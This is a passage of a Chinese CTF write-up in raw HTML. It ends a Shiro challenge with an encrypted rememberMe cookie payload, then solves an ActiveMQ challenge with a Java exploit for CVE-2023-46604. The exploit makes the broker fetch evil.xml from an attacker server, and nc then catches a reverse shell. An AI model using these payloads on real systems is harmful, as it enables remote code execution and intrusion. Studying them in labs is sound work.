rgb(221, 17, 68);">&#34;<a href="http://maven.apache.org/POM/4.0.0" target="_blank">http://maven.apache.org/POM/4.0.0</a> <a href="http://maven.apache.org/xsd/maven-4.0.0.xsd" target="_blank">http://maven.apache.org/xsd/maven-4.0.0.xsd</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;modelVersion&gt;</span>4.0.0<span style="color: rgb(14, 156, 229);">&lt;/modelVersion&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;groupId&gt;</span>org.example<span style="color: rgb(14, 156, 229);">&lt;/groupId&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;artifactId&gt;</span>OldShiroSolution<span style="color: rgb(14, 156, 229);">&lt;/artifactId&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;version&gt;</span>1.0-SNAPSHOT<span style="color: rgb(14, 156, 229);">&lt;/version&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;properties&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;maven.compiler.source&gt;</span>8<span style="color: rgb(14, 156, 229);">&lt;/maven.compiler.source&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;maven.compiler.target&gt;</span>8<span style="color: rgb(14, 156, 229);">&lt;/maven.compiler.target&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;project.build.sourceEncoding&gt;</span>UTF-8<span style="color: rgb(14, 156, 229);">&lt;/project.build.sourceEncoding&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;/properties&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;dependencies&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;dependency&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;groupId&gt;</span>org.javassist<span style="color: rgb(14, 156, 229);">&lt;/groupId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;artifactId&gt;</span>javassist<span style="color: rgb(14, 156, 229);">&lt;/artifactId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;version&gt;</span>3.29.2-GA<span style="color: rgb(14, 156, 229);">&lt;/version&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;/dependency&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;dependency&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;groupId&gt;</span>com.nqzero<span style="color: rgb(14, 156, 229);">&lt;/groupId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;artifactId&gt;</span>permit-reflect<span style="color: rgb(14, 156, 229);">&lt;/artifactId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;version&gt;</span>0.3<span style="color: rgb(14, 156, 229);">&lt;/version&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;/dependency&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;dependency&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;groupId&gt;</span>commons-collections<span style="color: rgb(14, 156, 229);">&lt;/groupId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;artifactId&gt;</span>commons-collections<span style="color: rgb(14, 156, 229);">&lt;/artifactId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;version&gt;</span>3.1<span style="color: rgb(14, 156, 229);">&lt;/version&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;/dependency&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;dependency&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;groupId&gt;</span>commons-beanutils<span style="color: rgb(14, 156, 229);">&lt;/groupId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;artifactId&gt;</span>commons-beanutils<span style="color: rgb(14, 156, 229);">&lt;/artifactId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;version&gt;</span>1.9.2<span style="color: rgb(14, 156, 229);">&lt;/version&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;/dependency&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;dependency&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;groupId&gt;</span>org.ow2.asm<span style="color: rgb(14, 156, 229);">&lt;/groupId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;artifactId&gt;</span>asm-tree<span style="color: rgb(14, 156, 229);">&lt;/artifactId&gt;</span></span></code><code><span class="code-snippet_outer">            <span style="color: rgb(14, 156, 229);">&lt;version&gt;</span>7.3.1<span style="color: rgb(14, 156, 229);">&lt;/version&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;/dependency&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;/dependencies&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">&lt;/project&gt;</span></span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx78eilw20np6ingu&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;发包如下&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3OGVpbHcyMG5wNmluZ3UlMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTUlOEYlOTElRTUlOEMlODUlRTUlQTYlODIlRTQlQjglOEIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">发包如下</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer">GET /doLogin HTTP/1.1</span></code><code><span class="code-snippet_outer">Host: 121.40.80.33:8888</span></code><code><span class="code-snippet_outer">Cookie: rememberMe_rwctf_2024=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</span></code><code><span class="code-snippet_outer">Upgrade-Insecure-Requests: 1</span></code></pre></section><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="215" data-backw="578" data-imgfileid="503903323" data-ratio="0.37222222222222223" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8828f6c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicTjYG7v9ksxUfXRUQHibknUwJgCjTEoiaZQBCYIDs8AXbG248AXvoxab8Z6vaatmxdIPY4qojkR6bDw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style=""><br/></p><p style=""><br/></p><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191" style=""><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>04</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Be-an-ActiveMq-Hacker</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p style=""><br/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3wg1y79x2fvk2uz6&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3wqumrkahvlyjbx&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;Clone-and-Pwn&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;, &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3wryb35qtqcukaam&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;difficulty:Baby&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]],[&#39;h4&#39;,{&#39;uuid&#39;:&#39;lrx7a9dfcpr9tw3f0s6&#39;,&#39;spacing&#39;:{&#39;before&#39;:16,&#39;after&#39;:12,&#39;line&#39;:0.8529411764705882}},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;bold&#39;:true,&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;环境搭建&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx7a9dg2xh3ud4ghu8&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;使用以下 docker-compose 文件搭建环境&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Clone-and-Pwn</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Baby</span></p><p><br/></p><h4 style="margin-top: 16px;margin-bottom: 12px;line-height: 13.6px;"><span style="font-size: 15px;color: rgb(122, 194, 89);"><strong>环境搭建</strong></span><br/></h4></article><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx7a9dg2xh3ud4ghu8&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;使用以下 docker-compose 文件搭建环境&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3YTlkZzJ4aDN1ZDRnaHU4JTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU0JUJEJUJGJUU3JTk0JUE4JUU0JUJCJUE1JUU0JUI4JThCJTIwZG9ja2VyLWNvbXBvc2UlMjAlRTYlOTYlODclRTQlQkIlQjYlRTYlOTAlQUQlRTUlQkIlQkElRTclOEUlQUYlRTUlQTIlODMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJzeiUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ2YWx1ZSUyMiUzQTEyJTJDJTIyc3pVbml0JTIyJTNBJTIycHQlMjIlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">使用以下 docker-compose 文件搭建环境</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">version: <span style="color: rgb(221, 17, 68);">&#39;3.3&#39;</span></span></code><code><span class="code-snippet_outer">services:</span></code><code><span class="code-snippet_outer">  activemq:</span></code><code><span class="code-snippet_outer">    container_name: <span style="color: rgb(221, 17, 68);">activemq</span></span></code><code><span class="code-snippet_outer">    ports:</span></code><code><span class="code-snippet_outer">      <span style="color: rgb(175, 175, 175);">-</span> <span style="color: rgb(221, 17, 68);">&#39;61616:61616&#39;</span></span></code><code><span class="code-snippet_outer">    image: <span style="color: rgb(221, 17, 68);">lewinc/activemq:5.18.2</span></span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;h4&#39;,{&#39;uuid&#39;:&#39;lrx7a9dhyoqhzcnqxhs&#39;,&#39;spacing&#39;:{&#39;before&#39;:16,&#39;after&#39;:12,&#39;line&#39;:0.8529411764705882}},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;bold&#39;:true,&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;解题&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx7a9dh2gzvymp9wut&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;使用 CVE-2023-46604 进行攻击即可，使用 &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx7a9dkfi8qt4o5lhg&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:10,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;org.springframework.context.support.ClassPathXmlApplicationContext&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;\njava 脚本如下&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><h4 style="margin-top: 16px;margin-bottom: 12px;line-height: 13.6px;"><span style="font-size: 15px;color: rgb(122, 194, 89);"><strong>解题</strong></span></h4><p><span style="font-size: 15px;">使用 CVE-2023-46604 进行攻击即可，使用 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">org.springframework.context.support.ClassPathXmlApplicationContext</span></p><p><span style="font-size: 15px;"> java 脚本如下</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">package exps;</span></code><code><span class="code-snippet_outer">import java.io.*;</span></code><code><span class="code-snippet_outer">import java.net.Socket;</span></code><code><span class="code-snippet_outer"><span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(221, 17, 68);">ActiveMqThrowableExp</span> {</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">void</span> <span style="color: rgb(221, 17, 68);">main</span>(String[ ] args) throws IOException {</span></code><code><span class="code-snippet_outer">        String ip = <span style="color: rgb(221, 17, 68);">&#34;target-ip-address&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">int</span> port = <span style="color: rgb(14, 156, 229);">61616</span>;</span></code><code><span class="code-snippet_outer">        String remoteXmlUrl = <span style="color: rgb(221, 17, 68);">&#34;<a href="http://your-http-server:9999/evil.xml" target="_blank">http://your-http-server:9999/evil.xml</a>&#34;</span>;</span></code><code><span class="code-snippet_outer">        Socket sck = <span style="color: rgb(202, 125, 55);">new</span> Socket(ip, port);</span></code><code><span class="code-snippet_outer">        DataOutputStream <span style="color: rgb(202, 125, 55);">out</span> = <span style="color: rgb(14, 156, 229);">null</span>;</span></code><code><span class="code-snippet_outer">        DataInputStream <span style="color: rgb(202, 125, 55);">in</span> = <span style="color: rgb(14, 156, 229);">null</span>;</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span> = <span style="color: rgb(202, 125, 55);">new</span> DataOutputStream(<span style="color: rgb(202, 125, 55);">new</span> BufferedOutputStream(<span style="color: rgb(202, 125, 55);">new</span> FileOutputStream(<span style="color: rgb(221, 17, 68);">&#34;test.txt&#34;</span>)));</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeInt(<span style="color: rgb(14, 156, 229);">32</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeByte(<span style="color: rgb(14, 156, 229);">31</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeInt(<span style="color: rgb(14, 156, 229);">1</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeBoolean(<span style="color: rgb(14, 156, 229);">true</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeInt(<span style="color: rgb(14, 156, 229);">1</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeBoolean(<span style="color: rgb(14, 156, 229);">true</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeBoolean(<span style="color: rgb(14, 156, 229);">true</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeUTF(<span style="color: rgb(221, 17, 68);">&#34;org.springframework.context.support.ClassPathXmlApplicationContext&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeBoolean(<span style="color: rgb(14, 156, 229);">true</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.writeUTF(remoteXmlUrl);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">out</span>.close();</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">in</span> = <span style="color: rgb(202, 125, 55);">new</span> DataInputStream(<span style="color: rgb(202, 125, 55);">new</span> BufferedInputStream(<span style="color: rgb(202, 125, 55);">new</span> FileInputStream(<span style="color: rgb(221, 17, 68);">&#34;test.txt&#34;</span>)));</span></code><code><span class="code-snippet_outer">        OutputStream os = sck.getOutputStream();</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">int</span> length = <span style="color: rgb(202, 125, 55);">in</span>.available();</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">byte</span>[ ] buf = <span style="color: rgb(202, 125, 55);">new</span> <span style="color: rgb(202, 125, 55);">byte</span>[length];</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">in</span>.readFully(buf);</span></code><code><span class="code-snippet_outer">        os.write(buf);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">in</span>.close();</span></code><code><span class="code-snippet_outer">        sck.close();</span></code><code><span class="code-snippet_outer">        File file = <span style="color: rgb(202, 125, 55);">new</span> File(<span style="color: rgb(221, 17, 68);">&#34;test.txt&#34;</span>);</span></code><code><span class="code-snippet_outer">        file.delete();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx7a9di0dxd9ihnpg4i&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;然后在恶意服务器上分别启动一个 nc 用来收反弹 shell，另一个启动 http 服务用来提供 xml，注意下面的 value 是 html entity 编码后的，可以解码后替换为接受 shell 的 ip 和端口即可收到反弹shell&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3YTlkaTBkeGQ5aWhucGc0aSUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVFNyU4NCVCNiVFNSU5MCU4RSVFNSU5QyVBOCVFNiU4MSVCNiVFNiU4NCU4RiVFNiU5QyU4RCVFNSU4QSVBMSVFNSU5OSVBOCVFNCVCOCU4QSVFNSU4OCU4NiVFNSU4OCVBQiVFNSU5MCVBRiVFNSU4QSVBOCVFNCVCOCU4MCVFNCVCOCVBQSUyMG5jJTIwJUU3JTk0JUE4JUU2JTlEJUE1JUU2JTk0JUI2JUU1JThGJThEJUU1JUJDJUI5JTIwc2hlbGwlRUYlQkMlOEMlRTUlOEYlQTYlRTQlQjglODAlRTQlQjglQUElRTUlOTAlQUYlRTUlOEElQTglMjBodHRwJTIwJUU2JTlDJThEJUU1JThBJUExJUU3JTk0JUE4JUU2JTlEJUE1JUU2JThGJTkwJUU0JUJFJTlCJTIweG1sJUVGJUJDJThDJUU2JUIzJUE4JUU2JTg0JThGJUU0JUI4JThCJUU5JTlEJUEy